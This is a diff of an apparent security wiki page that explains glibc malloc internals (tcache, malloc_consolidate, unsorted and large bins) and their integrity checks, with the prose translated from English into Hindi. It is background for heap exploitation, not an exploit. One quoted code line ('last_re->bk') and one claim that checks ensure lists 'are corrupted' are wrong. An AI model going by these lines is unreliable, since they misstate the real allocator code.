tcache. */ +size_t tc_idx = csize2tidx (nb); +if (tcache != NULL && tc_idx < mp_.tcache_bins) +{ +mchunkptr tc_victim; - /* While bin not empty and tcache not full, copy chunks over. */ - while (tcache->counts[tc_idx] < mp_.tcache_count - && (tc_victim = last (bin)) != bin) - { - if (tc_victim != 0) - { - bck = tc_victim->bk; - set_inuse_bit_at_offset (tc_victim, nb); - if (av != &main_arena) - set_non_main_arena (tc_victim); - bin->bk = bck; - bck->fd = bin; +/* While bin not empty and tcache not full, copy chunks over. */ +while (tcache->counts[tc_idx] < mp_.tcache_count +&& (tc_victim = last (bin)) != bin) +{ +if (tc_victim != 0) +{ +bck = tc_victim->bk; +set_inuse_bit_at_offset (tc_victim, nb); +if (av != &main_arena) +set_non_main_arena (tc_victim); +bin->bk = bck; +bck->fd = bin; - tcache_put (tc_victim, tc_idx); - } - } - } +tcache_put (tc_victim, tc_idx); +} +} +} #endif - void *p = chunk2mem (victim); - alloc_perturb (p, bytes); - return p; - } - } +void *p = chunk2mem (victim); +alloc_perturb (p, bytes); +return p; +} +} ``` -
### malloc_consolidate -If it wasn't a small chunk, it's a large chunk, and in this case **`malloc_consolidate`** is called to avoid memory fragmentation. +यदि यह एक छोटा टुकड़ा नहीं था, तो यह एक बड़ा टुकड़ा है, और इस मामले में **`malloc_consolidate`** को मेमोरी फ्रैग्मेंटेशन से बचने के लिए बुलाया जाता है।
-malloc_consolidate call - +malloc_consolidate कॉल ```c /* - If this is a large request, consolidate fastbins before continuing. - While it might look excessive to kill all fastbins before - even seeing if there is space available, this avoids - fragmentation problems normally associated with fastbins. - Also, in practice, programs tend to have runs of either small or - large requests, but less often mixtures, so consolidation is not - invoked all that often in most programs. And the programs that - it is called frequently in otherwise tend to fragment. - */ +If this is a large request, consolidate fastbins before continuing. +While it might look excessive to kill all fastbins before +even seeing if there is space available, this avoids +fragmentation problems normally associated with fastbins. +Also, in practice, programs tend to have runs of either small or +large requests, but less often mixtures, so consolidation is not +invoked all that often in most programs. And the programs that +it is called frequently in otherwise tend to fragment. +*/ - else - { - idx = largebin_index (nb); - if (atomic_load_relaxed (&av->have_fastchunks)) - malloc_consolidate (av); - } +else +{ +idx = largebin_index (nb); +if (atomic_load_relaxed (&av->have_fastchunks)) +malloc_consolidate (av); +} ``` -
-The malloc consolidate function basically removes chunks from the fast bin and places them into the unsorted bin. After the next malloc these chunks will be organized in their respective small/fast bins. +malloc consolidate फ़ंक्शन मूल रूप से तेज़ बिन से चंक को हटा देता है और उन्हें असंरचित बिन में रखता है। अगली malloc के बाद, ये चंक अपने संबंधित छोटे/तेज़ बिन में व्यवस्थित हो जाएंगे। -Note that if while removing these chunks, if they are found with previous or next chunks that aren't in use they will be **unliked and merged** before placing the final chunk in the **unsorted** bin. +ध्यान दें कि यदि इन चंक को हटाते समय, यदि उन्हें पिछले या अगले चंक के साथ पाया जाता है जो उपयोग में नहीं हैं, तो उन्हें **अनलिंक और मर्ज** किया जाएगा इससे पहले कि अंतिम चंक को **असंरचित** बिन में रखा जाए। -For each fast bin chunk a couple of security checks are performed: +प्रत्येक तेज़ बिन चंक के लिए कुछ सुरक्षा जांच की जाती हैं: -- If the chunk is unaligned trigger: `malloc_consolidate(): unaligned fastbin chunk detected` -- If the chunk has a different size that the one it should because of the index it's in: `malloc_consolidate(): invalid chunk size` -- If the previous chunk is not in use and the previous chunk has a size different of the one indicated by `prev_chunk`: `corrupted size vs. prev_size in fastbins` +- यदि चंक असंरेखित है तो ट्रिगर: `malloc_consolidate(): unaligned fastbin chunk detected` +- यदि चंक का आकार उस आकार से भिन्न है जो इसे होना चाहिए क्योंकि यह जिस इंडेक्स में है: `malloc_consolidate(): invalid chunk size` +- यदि पिछले चंक का उपयोग नहीं हो रहा है और पिछले चंक का आकार `prev_chunk` द्वारा निर्दिष्ट आकार से भिन्न है: `corrupted size vs. prev_size in fastbins`
malloc_consolidate function - ```c // https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4810C1-L4905C2 static void malloc_consolidate(mstate av) { - mfastbinptr* fb; /* current fastbin being consolidated */ - mfastbinptr* maxfb; /* last fastbin (for loop control) */ - mchunkptr p; /* current chunk being consolidated */ - mchunkptr nextp; /* next chunk to consolidate */ - mchunkptr unsorted_bin; /* bin header */ - mchunkptr first_unsorted; /* chunk to link to */ +mfastbinptr* fb; /* current fastbin being consolidated */ +mfastbinptr* maxfb; /* last fastbin (for loop control) */ +mchunkptr p; /* current chunk being consolidated */ +mchunkptr nextp; /* next chunk to consolidate */ +mchunkptr unsorted_bin; /* bin header */ +mchunkptr first_unsorted; /* chunk to link to */ - /* These have same use as in free() */ - mchunkptr nextchunk; - INTERNAL_SIZE_T size; - INTERNAL_SIZE_T nextsize; - INTERNAL_SIZE_T prevsize; - int nextinuse; +/* These have same use as in free() */ +mchunkptr nextchunk; +INTERNAL_SIZE_T size; +INTERNAL_SIZE_T nextsize; +INTERNAL_SIZE_T prevsize; +int nextinuse; - atomic_store_relaxed (&av->have_fastchunks, false); +atomic_store_relaxed (&av->have_fastchunks, false); - unsorted_bin = unsorted_chunks(av); +unsorted_bin = unsorted_chunks(av); - /* - Remove each chunk from fast bin and consolidate it, placing it - then in unsorted bin. Among other reasons for doing this, - placing in unsorted bin avoids needing to calculate actual bins - until malloc is sure that chunks aren't immediately going to be - reused anyway. - */ +/* +Remove each chunk from fast bin and consolidate it, placing it +then in unsorted bin. Among other reasons for doing this, +placing in unsorted bin avoids needing to calculate actual bins +until malloc is sure that chunks aren't immediately going to be +reused anyway. +*/ - maxfb = &fastbin (av, NFASTBINS - 1); - fb = &fastbin (av, 0); - do { - p = atomic_exchange_acquire (fb, NULL); - if (p != 0) { - do { - { - if (__glibc_unlikely (misaligned_chunk (p))) - malloc_printerr ("malloc_consolidate(): " - "unaligned fastbin chunk detected"); +maxfb = &fastbin (av, NFASTBINS - 1); +fb = &fastbin (av, 0); +do { +p = atomic_exchange_acquire (fb, NULL); +if (p != 0) { +do { +{ +if (__glibc_unlikely (misaligned_chunk (p))) +malloc_printerr ("malloc_consolidate(): " +"unaligned fastbin chunk detected"); - unsigned int idx = fastbin_index (chunksize (p)); - if ((&fastbin (av, idx)) != fb) - malloc_printerr ("malloc_consolidate(): invalid chunk size"); - } +unsigned int idx = fastbin_index (chunksize (p)); +if ((&fastbin (av, idx)) != fb) +malloc_printerr ("malloc_consolidate(): invalid chunk size"); +} - check_inuse_chunk(av, p); - nextp = REVEAL_PTR (p->fd); +check_inuse_chunk(av, p); +nextp = REVEAL_PTR (p->fd); - /* Slightly streamlined version of consolidation code in free() */ - size = chunksize (p); - nextchunk = chunk_at_offset(p, size); - nextsize = chunksize(nextchunk); +/* Slightly streamlined version of consolidation code in free() */ +size = chunksize (p); +nextchunk = chunk_at_offset(p, size); +nextsize = chunksize(nextchunk); - if (!prev_inuse(p)) { - prevsize = prev_size (p); - size += prevsize; - p = chunk_at_offset(p, -((long) prevsize)); - if (__glibc_unlikely (chunksize(p) != prevsize)) - malloc_printerr ("corrupted size vs. prev_size in fastbins"); - unlink_chunk (av, p); - } +if (!prev_inuse(p)) { +prevsize = prev_size (p); +size += prevsize; +p = chunk_at_offset(p, -((long) prevsize)); +if (__glibc_unlikely (chunksize(p) != prevsize)) +malloc_printerr ("corrupted size vs. prev_size in fastbins"); +unlink_chunk (av, p); +} - if (nextchunk != av->top) { - nextinuse = inuse_bit_at_offset(nextchunk, nextsize); +if (nextchunk != av->top) { +nextinuse = inuse_bit_at_offset(nextchunk, nextsize); - if (!nextinuse) { - size += nextsize; - unlink_chunk (av, nextchunk); - } else - clear_inuse_bit_at_offset(nextchunk, 0); +if (!nextinuse) { +size += nextsize; +unlink_chunk (av, nextchunk); +} else +clear_inuse_bit_at_offset(nextchunk, 0); - first_unsorted = unsorted_bin->fd; - unsorted_bin->fd = p; - first_unsorted->bk = p; +first_unsorted = unsorted_bin->fd; +unsorted_bin->fd = p; +first_unsorted->bk = p; - if (!in_smallbin_range (size)) { - p->fd_nextsize = NULL; - p->bk_nextsize = NULL; - } +if (!in_smallbin_range (size)) { +p->fd_nextsize = NULL; +p->bk_nextsize = NULL; +} - set_head(p, size | PREV_INUSE); - p->bk = unsorted_bin; - p->fd = first_unsorted; - set_foot(p, size); - } +set_head(p, size | PREV_INUSE); +p->bk = unsorted_bin; +p->fd = first_unsorted; +set_foot(p, size); +} - else { - size += nextsize; - set_head(p, size | PREV_INUSE); - av->top = p; - } +else { +size += nextsize; +set_head(p, size | PREV_INUSE); +av->top = p; +} - } while ( (p = nextp) != 0); +} while ( (p = nextp) != 0); - } - } while (fb++ != maxfb); +} +} while (fb++ != maxfb); } ``` -
-### Unsorted bin +### अनसॉर्टेड बिन -It's time to check the unsorted bin for a potential valid chunk to use. +यह संभावित मान्य चंक का उपयोग करने के लिए अनसॉर्टेड बिन की जांच करने का समय है। -#### Start +#### प्रारंभ -This starts with a big for look that will be traversing the unsorted bin in the `bk` direction until it arrives til the end (the arena struct) with `while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))` +यह एक बड़े लूप के साथ शुरू होता है जो `bk` दिशा में अनसॉर्टेड बिन को पार करेगा जब तक कि यह अंत (एरेना संरचना) तक नहीं पहुँचता है `while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))` -Moreover, some security checks are perform every time a new chunk is considered: +इसके अलावा, कुछ सुरक्षा जांचें हर बार की जाती हैं जब एक नया चंक विचाराधीन होता है: -- If the chunk size is weird (too small or too big): `malloc(): invalid size (unsorted)` -- If the next chunk size is weird (too small or too big): `malloc(): invalid next size (unsorted)` -- If the previous size indicated by the next chunk differs from the size of the chunk: `malloc(): mismatching next->prev_size (unsorted)` -- If not `victim->bck->fd == victim` or not `victim->fd == av` (arena): `malloc(): unsorted double linked list corrupted` - - As we are always checking the las one, it's `fd` should be pointing always to the arena struct. -- If the next chunk isn't indicating that the previous is in use: `malloc(): invalid next->prev_inuse (unsorted)` +- यदि चंक का आकार अजीब है (बहुत छोटा या बहुत बड़ा): `malloc(): invalid size (unsorted)` +- यदि अगले चंक का आकार अजीब है (बहुत छोटा या बहुत बड़ा): `malloc(): invalid next size (unsorted)` +- यदि अगले चंक द्वारा इंगित किया गया पिछला आकार चंक के आकार से भिन्न है: `malloc(): mismatching next->prev_size (unsorted)` +- यदि `victim->bck->fd == victim` नहीं है या `victim->fd == av` (एरेना) नहीं है: `malloc(): unsorted double linked list corrupted` +- चूंकि हम हमेशा अंतिम एक की जांच कर रहे हैं, इसका `fd` हमेशा एरेना संरचना की ओर इशारा करना चाहिए। +- यदि अगला चंक यह नहीं इंगित कर रहा है कि पिछला उपयोग में है: `malloc(): invalid next->prev_inuse (unsorted)`
-_int_malloc unsorted bin start - +_int_malloc अनसॉर्टेड बिन प्रारंभ ```c /* - Process recently freed or remaindered chunks, taking one only if - it is exact fit, or, if this a small request, the chunk is remainder from - the most recent non-exact fit. Place other traversed chunks in - bins. Note that this step is the only place in any routine where - chunks are placed in bins. +Process recently freed or remaindered chunks, taking one only if +it is exact fit, or, if this a small request, the chunk is remainder from +the most recent non-exact fit. Place other traversed chunks in +bins. Note that this step is the only place in any routine where +chunks are placed in bins. - The outer loop here is needed because we might not realize until - near the end of malloc that we should have consolidated, so must - do so and retry. This happens at most once, and only when we would - otherwise need to expand memory to service a "small" request. - */ +The outer loop here is needed because we might not realize until +near the end of malloc that we should have consolidated, so must +do so and retry. This happens at most once, and only when we would +otherwise need to expand memory to service a "small" request. +*/ #if USE_TCACHE - INTERNAL_SIZE_T tcache_nb = 0; - size_t tc_idx = csize2tidx (nb); - if (tcache != NULL && tc_idx < mp_.tcache_bins) - tcache_nb = nb; - int return_cached = 0; +INTERNAL_SIZE_T tcache_nb = 0; +size_t tc_idx = csize2tidx (nb); +if (tcache != NULL && tc_idx < mp_.tcache_bins) +tcache_nb = nb; +int return_cached = 0; - tcache_unsorted_count = 0; +tcache_unsorted_count = 0; #endif - for (;; ) - { - int iters = 0; - while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) - { - bck = victim->bk; - size = chunksize (victim); - mchunkptr next = chunk_at_offset (victim, size); +for (;; ) +{ +int iters = 0; +while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) +{ +bck = victim->bk; +size = chunksize (victim); +mchunkptr next = chunk_at_offset (victim, size); - if (__glibc_unlikely (size <= CHUNK_HDR_SZ) - || __glibc_unlikely (size > av->system_mem)) - malloc_printerr ("malloc(): invalid size (unsorted)"); - if (__glibc_unlikely (chunksize_nomask (next) < CHUNK_HDR_SZ) - || __glibc_unlikely (chunksize_nomask (next) > av->system_mem)) - malloc_printerr ("malloc(): invalid next size (unsorted)"); - if (__glibc_unlikely ((prev_size (next) & ~(SIZE_BITS)) != size)) - malloc_printerr ("malloc(): mismatching next->prev_size (unsorted)"); - if (__glibc_unlikely (bck->fd != victim) - || __glibc_unlikely (victim->fd != unsorted_chunks (av))) - malloc_printerr ("malloc(): unsorted double linked list corrupted"); - if (__glibc_unlikely (prev_inuse (next))) - malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)"); +if (__glibc_unlikely (size <= CHUNK_HDR_SZ) +|| __glibc_unlikely (size > av->system_mem)) +malloc_printerr ("malloc(): invalid size (unsorted)"); +if (__glibc_unlikely (chunksize_nomask (next) < CHUNK_HDR_SZ) +|| __glibc_unlikely (chunksize_nomask (next) > av->system_mem)) +malloc_printerr ("malloc(): invalid next size (unsorted)"); +if (__glibc_unlikely ((prev_size (next) & ~(SIZE_BITS)) != size)) +malloc_printerr ("malloc(): mismatching next->prev_size (unsorted)"); +if (__glibc_unlikely (bck->fd != victim) +|| __glibc_unlikely (victim->fd != unsorted_chunks (av))) +malloc_printerr ("malloc(): unsorted double linked list corrupted"); +if (__glibc_unlikely (prev_inuse (next))) +malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)"); ``` -
-#### if `in_smallbin_range` +#### यदि `in_smallbin_range` -If the chunk is bigger than the requested size use it, and set the rest of the chunk space into the unsorted list and update the `last_remainder` with it. +यदि टुकड़ा अनुरोधित आकार से बड़ा है, तो इसका उपयोग करें, और टुकड़े के शेष स्थान को असुचिबद्ध सूची में डालें और `last_remainder` को इसके साथ अपडेट करें।
-_int_malloc unsorted bin in_smallbin_range - +_int_malloc असुचिबद्ध बिन in_smallbin_range ```c // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4090C11-L4124C14 /* - If a small request, try to use last remainder if it is the - only chunk in unsorted bin. This helps promote locality for - runs of consecutive small requests. This is the only - exception to best-fit, and applies only when there is - no exact fit for a small chunk. - */ +If a small request, try to use last remainder if it is the +only chunk in unsorted bin. This helps promote locality for +runs of consecutive small requests. This is the only +exception to best-fit, and applies only when there is +no exact fit for a small chunk. +*/ - if (in_smallbin_range (nb) && - bck == unsorted_chunks (av) && - victim == av->last_remainder && - (unsigned long) (size) > (unsigned long) (nb + MINSIZE)) - { - /* split and reattach remainder */ - remainder_size = size - nb; - remainder = chunk_at_offset (victim, nb); - unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder; - av->last_remainder = remainder; - remainder->bk = remainder->fd = unsorted_chunks (av); - if (!in_smallbin_range (remainder_size)) - { - remainder->fd_nextsize = NULL; - remainder->bk_nextsize = NULL; - } +if (in_smallbin_range (nb) && +bck == unsorted_chunks (av) && +victim == av->last_remainder && +(unsigned long) (size) > (unsigned long) (nb + MINSIZE)) +{ +/* split and reattach remainder */ +remainder_size = size - nb; +remainder = chunk_at_offset (victim, nb); +unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder; +av->last_remainder = remainder; +remainder->bk = remainder->fd = unsorted_chunks (av); +if (!in_smallbin_range (remainder_size)) +{ +remainder->fd_nextsize = NULL; +remainder->bk_nextsize = NULL; +} - set_head (victim, nb | PREV_INUSE | - (av != &main_arena ? NON_MAIN_ARENA : 0)); - set_head (remainder, remainder_size | PREV_INUSE); - set_foot (remainder, remainder_size); +set_head (victim, nb | PREV_INUSE | +(av != &main_arena ? NON_MAIN_ARENA : 0)); +set_head (remainder, remainder_size | PREV_INUSE); +set_foot (remainder, remainder_size); - check_malloced_chunk (av, victim, nb); - void *p = chunk2mem (victim); - alloc_perturb (p, bytes); - return p; - } +check_malloced_chunk (av, victim, nb); +void *p = chunk2mem (victim); +alloc_perturb (p, bytes); +return p; +} ``` -
-If this was successful, return the chunk ant it's over, if not, continue executing the function... +यदि यह सफल रहा, तो चंक को वापस करें और समाप्त करें, यदि नहीं, तो कार्य को जारी रखें... -#### if equal size +#### यदि समान आकार -Continue removing the chunk from the bin, in case the requested size is exactly the one of the chunk: +यदि अनुरोधित आकार ठीक उसी चंक का है, तो बिन से चंक को हटाना जारी रखें: -- If the tcache is not filled, add it to the tcache and continue indicating that there is a tcache chunk that could be used -- If tcache is full, just use it returning it +- यदि tcache भरा नहीं है, तो इसे tcache में जोड़ें और यह संकेत देना जारी रखें कि एक tcache चंक है जिसे उपयोग किया जा सकता है +- यदि tcache भरा हुआ है, तो बस इसका उपयोग करें और इसे वापस करें
-_int_malloc unsorted bin equal size - +_int_malloc अनसॉर्टेड बिन समान आकार ```c // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4126C11-L4157C14 /* remove from unsorted list */ - unsorted_chunks (av)->bk = bck; - bck->fd = unsorted_chunks (av); +unsorted_chunks (av)->bk = bck; +bck->fd = unsorted_chunks (av); - /* Take now instead of binning if exact fit */ +/* Take now instead of binning if exact fit */ - if (size == nb) - { - set_inuse_bit_at_offset (victim, size); - if (av != &main_arena) - set_non_main_arena (victim); +if (size == nb) +{ +set_inuse_bit_at_offset (victim, size); +if (av != &main_arena) +set_non_main_arena (victim); #if USE_TCACHE - /* Fill cache first, return to user only if cache fills. - We may return one of these chunks later. */ - if (tcache_nb > 0 - && tcache->counts[tc_idx] < mp_.tcache_count) - { - tcache_put (victim, tc_idx); - return_cached = 1; - continue; - } - else - { +/* Fill cache first, return to user only if cache fills. +We may return one of these chunks later. */ +if (tcache_nb > 0 +&& tcache->counts[tc_idx] < mp_.tcache_count) +{ +tcache_put (victim, tc_idx); +return_cached = 1; +continue; +} +else +{ #endif - check_malloced_chunk (av, victim, nb); - void *p = chunk2mem (victim); - alloc_perturb (p, bytes); - return p; +check_malloced_chunk (av, victim, nb); +void *p = chunk2mem (victim); +alloc_perturb (p, bytes); +return p; #if USE_TCACHE - } +} #endif - } +} ``` -
-If chunk not returned or added to tcache, continue with the code... +यदि चंक वापस नहीं किया गया या tcache में जोड़ा नहीं गया, तो कोड के साथ जारी रखें... -#### place chunk in a bin +#### चंक को बिन में रखें -Store the checked chunk in the small bin or in the large bin according to the size of the chunk (keeping the large bin properly organized). +चंक के आकार के अनुसार चेक किए गए चंक को छोटे बिन या बड़े बिन में स्टोर करें (बड़े बिन को सही तरीके से व्यवस्थित रखते हुए)। -There are security checks being performed to make sure both large bin doubled linked list are corrupted: +सुरक्षा जांच की जा रही हैं यह सुनिश्चित करने के लिए कि दोनों बड़े बिन डबल लिंक्ड लिस्ट भ्रष्ट हैं: -- If `fwd->bk_nextsize->fd_nextsize != fwd`: `malloc(): largebin double linked list corrupted (nextsize)` -- If `fwd->bk->fd != fwd`: `malloc(): largebin double linked list corrupted (bk)` +- यदि `fwd->bk_nextsize->fd_nextsize != fwd`: `malloc(): largebin double linked list corrupted (nextsize)` +- यदि `fwd->bk->fd != fwd`: `malloc(): largebin double linked list corrupted (bk)`
-_int_malloc place chunk in a bin - +_int_malloc चंक को बिन में रखें ```c /* place chunk in bin */ - if (in_smallbin_range (size)) - { - victim_index = smallbin_index (size); - bck = bin_at (av, victim_index); - fwd = bck->fd; - } - else - { - victim_index = largebin_index (size); - bck = bin_at (av, victim_index); - fwd = bck->fd; +if (in_smallbin_range (size)) +{ +victim_index = smallbin_index (size); +bck = bin_at (av, victim_index); +fwd = bck->fd; +} +else +{ +victim_index = largebin_index (size); +bck = bin_at (av, victim_index); +fwd = bck->fd; - /* maintain large bins in sorted order */ - if (fwd != bck) - { - /* Or with inuse bit to speed comparisons */ - size |= PREV_INUSE; - /* if smaller than smallest, bypass loop below */ - assert (chunk_main_arena (bck->bk)); - if ((unsigned long) (size) - < (unsigned long) chunksize_nomask (bck->bk)) - { - fwd = bck; - bck = bck->bk; +/* maintain large bins in sorted order */ +if (fwd != bck) +{ +/* Or with inuse bit to speed comparisons */ +size |= PREV_INUSE; +/* if smaller than smallest, bypass loop below */ +assert (chunk_main_arena (bck->bk)); +if ((unsigned long) (size) +< (unsigned long) chunksize_nomask (bck->bk)) +{ +fwd = bck; +bck = bck->bk; - victim->fd_nextsize = fwd->fd; - victim->bk_nextsize = fwd->fd->bk_nextsize; - fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; - } - else - { - assert (chunk_main_arena (fwd)); - while ((unsigned long) size < chunksize_nomask (fwd)) - { - fwd = fwd->fd_nextsize; - assert (chunk_main_arena (fwd)); - } +victim->fd_nextsize = fwd->fd; +victim->bk_nextsize = fwd->fd->bk_nextsize; +fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; +} +else +{ +assert (chunk_main_arena (fwd)); +while ((unsigned long) size < chunksize_nomask (fwd)) +{ +fwd = fwd->fd_nextsize; +assert (chunk_main_arena (fwd)); +} - if ((unsigned long) size - == (unsigned long) chunksize_nomask (fwd)) - /* Always insert in the second position. */ - fwd = fwd->fd; - else - { - victim->fd_nextsize = fwd; - victim->bk_nextsize = fwd->bk_nextsize; - if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd)) - malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)"); - fwd->bk_nextsize = victim; - victim->bk_nextsize->fd_nextsize = victim; - } - bck = fwd->bk; - if (bck->fd != fwd) - malloc_printerr ("malloc(): largebin double linked list corrupted (bk)"); - } - } - else - victim->fd_nextsize = victim->bk_nextsize = victim; - } +if ((unsigned long) size +== (unsigned long) chunksize_nomask (fwd)) +/* Always insert in the second position. */ +fwd = fwd->fd; +else +{ +victim->fd_nextsize = fwd; +victim->bk_nextsize = fwd->bk_nextsize; +if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd)) +malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)"); +fwd->bk_nextsize = victim; +victim->bk_nextsize->fd_nextsize = victim; +} +bck = fwd->bk; +if (bck->fd != fwd) +malloc_printerr ("malloc(): largebin double linked list corrupted (bk)"); +} +} +else +victim->fd_nextsize = victim->bk_nextsize = victim; +} - mark_bin (av, victim_index); - victim->bk = bck; - victim->fd = fwd; - fwd->bk = victim; - bck->fd = victim; +mark_bin (av, victim_index); +victim->bk = bck; +victim->fd = fwd; +fwd->bk = victim; +bck->fd = victim; ``` -
-#### `_int_malloc` limits +#### `_int_malloc` सीमाएँ -At this point, if some chunk was stored in the tcache that can be used and the limit is reached, just **return a tcache chunk**. +इस बिंदु पर, यदि कोई टुकड़ा tcache में संग्रहीत था जिसे उपयोग किया जा सकता है और सीमा तक पहुँच गया है, तो बस **tcache टुकड़ा लौटाएँ**। -Moreover, if **MAX_ITERS** is reached, break from the loop for and get a chunk in a different way (top chunk). +इसके अलावा, यदि **MAX_ITERS** तक पहुँच गया है, तो लूप से बाहर निकलें और एक अलग तरीके से एक टुकड़ा प्राप्त करें (top chunk)। -If `return_cached` was set, just return a chunk from the tcache to avoid larger searches. +यदि `return_cached` सेट किया गया था, तो बस बड़े खोजों से बचने के लिए tcache से एक टुकड़ा लौटाएँ।
-_int_malloc limits - +_int_malloc सीमाएँ ```c // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4227C1-L4250C7 #if USE_TCACHE - /* If we've processed as many chunks as we're allowed while - filling the cache, return one of the cached ones. */ - ++tcache_unsorted_count; - if (return_cached - && mp_.tcache_unsorted_limit > 0 - && tcache_unsorted_count > mp_.tcache_unsorted_limit) - { - return tcache_get (tc_idx); - } +/* If we've processed as many chunks as we're allowed while +filling the cache, return one of the cached ones. */ +++tcache_unsorted_count; +if (return_cached +&& mp_.tcache_unsorted_limit > 0 +&& tcache_unsorted_count > mp_.tcache_unsorted_limit) +{ +return tcache_get (tc_idx); +} #endif #define MAX_ITERS 10000 - if (++iters >= MAX_ITERS) - break; - } +if (++iters >= MAX_ITERS) +break; +} #if USE_TCACHE - /* If all the small chunks we found ended up cached, return one now. */ - if (return_cached) - { - return tcache_get (tc_idx); - } +/* If all the small chunks we found ended up cached, return one now. */ +if (return_cached) +{ +return tcache_get (tc_idx); +} #endif ``` -
-If limits not reached, continue with the code... +यदि सीमाएँ नहीं पहुंची हैं, तो कोड के साथ जारी रखें... -### Large Bin (by index) +### बड़े बिन (सूची द्वारा) -If the request is large (not in small bin) and we haven't yet returned any chunk, get the **index** of the requested size in the **large bin**, check if **not empty** of if the **biggest chunk in this bin is bigger** than the requested size and in that case find the **smallest chunk that can be used** for the requested size. +यदि अनुरोध बड़ा है (छोटे बिन में नहीं) और हमने अभी तक कोई टुकड़ा वापस नहीं किया है, तो **बड़े बिन** में अनुरोधित आकार का **सूचकांक** प्राप्त करें, जांचें कि क्या **खाली नहीं है** या यदि **इस बिन में सबसे बड़ा टुकड़ा अनुरोधित आकार से बड़ा है** और उस मामले में अनुरोधित आकार के लिए **सबसे छोटे टुकड़े का पता लगाएं**। -If the reminder space from the finally used chunk can be a new chunk, add it to the unsorted bin and the lsast_reminder is updated. +यदि अंततः उपयोग किए गए टुकड़े से शेष स्थान एक नया टुकड़ा हो सकता है, तो इसे असूचीबद्ध बिन में जोड़ें और last_reminder को अपडेट किया जाता है। -A security check is made when adding the reminder to the unsorted bin: +असूचीबद्ध बिन में शेष जोड़ते समय एक सुरक्षा जांच की जाती है: - `bck->fd-> bk != bck`: `malloc(): corrupted unsorted chunks`
-_int_malloc Large bin (by index) - +_int_malloc बड़े बिन (सूची द्वारा) ```c // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4252C7-L4317C10 /* - If a large request, scan through the chunks of current bin in - sorted order to find smallest that fits. Use the skip list for this. - */ +If a large request, scan through the chunks of current bin in +sorted order to find smallest that fits. Use the skip list for this. +*/ - if (!in_smallbin_range (nb)) - { - bin = bin_at (av, idx); +if (!in_smallbin_range (nb)) +{ +bin = bin_at (av, idx); - /* skip scan if empty or largest chunk is too small */ - if ((victim = first (bin)) != bin - && (unsigned long) chunksize_nomask (victim) - >= (unsigned long) (nb)) - { - victim = victim->bk_nextsize; - while (((unsigned long) (size = chunksize (victim)) < - (unsigned long) (nb))) - victim = victim->bk_nextsize; +/* skip scan if empty or largest chunk is too small */ +if ((victim = first (bin)) != bin +&& (unsigned long) chunksize_nomask (victim) +>= (unsigned long) (nb)) +{ +victim = victim->bk_nextsize; +while (((unsigned long) (size = chunksize (victim)) < +(unsigned long) (nb))) +victim = victim->bk_nextsize; - /* Avoid removing the first entry for a size so that the skip - list does not have to be rerouted. */ - if (victim != last (bin) - && chunksize_nomask (victim) - == chunksize_nomask (victim->fd)) - victim = victim->fd; +/* Avoid removing the first entry for a size so that the skip +list does not have to be rerouted. */ +if (victim != last (bin) +&& chunksize_nomask (victim) +== chunksize_nomask (victim->fd)) +victim = victim->fd; - remainder_size = size - nb; - unlink_chunk (av, victim); +remainder_size = size - nb; +unlink_chunk (av, victim); - /* Exhaust */ - if (remainder_size < MINSIZE) - { - set_inuse_bit_at_offset (victim, size); - if (av != &main_arena) - set_non_main_arena (victim); - } - /* Split */ - else - { - remainder = chunk_at_offset (victim, nb); - /* We cannot assume the unsorted list is empty and therefore - have to perform a complete insert here. */ - bck = unsorted_chunks (av); - fwd = bck->fd; - if (__glibc_unlikely (fwd->bk != bck)) - malloc_printerr ("malloc(): corrupted unsorted chunks"); - last_re->bk = bck; - remainder->fd = fwd; - bck->fd = remainder; - fwd->bk = remainder; - if (!in_smallbin_range (remainder_size)) - { - remainder->fd_nextsize = NULL; - remainder->bk_nextsize = NULL; - } - set_head (victim, nb | PREV_INUSE | - (av != &main_arena ? NON_MAIN_ARENA : 0)); - set_head (remainder, remainder_size | PREV_INUSE); - set_foot (remainder, remainder_size); - } - check_malloced_chunk (av, victim, nb); - void *p = chunk2mem (victim); - alloc_perturb (p, bytes); - return p; - } - } +/* Exhaust */ +if (remainder_size < MINSIZE) +{ +set_inuse_bit_at_offset (victim, size); +if (av != &main_arena) +set_non_main_arena (victim); +} +/* Split */ +else +{ +remainder = chunk_at_offset (victim, nb); +/* We cannot assume the unsorted list is empty and therefore +have to perform a complete insert here. */ +bck = unsorted_chunks (av); +fwd = bck->fd; +if (__glibc_unlikely (fwd->bk != bck)) +malloc_printerr ("malloc(): corrupted unsorted chunks"); +last_re->bk = bck; +remainder->fd = fwd; +bck->fd = remainder; +fwd->bk = remainder; +if (!in_smallbin_range (remainder_size)) +{ +remainder->fd_nextsize = NULL; +remainder->bk_nextsize = NULL; +} +set_head (victim, nb | PREV_INUSE | +(av != &main_arena ? NON_MAIN_ARENA : 0)); +set_head (remainder, remainder_size | PREV_INUSE); +set_foot (remainder, remainder_size); +} +check_malloced_chunk (av, victim, nb); +void *p = chunk2mem (victim); +alloc_perturb (p, bytes); +return p; +} +} ``` -
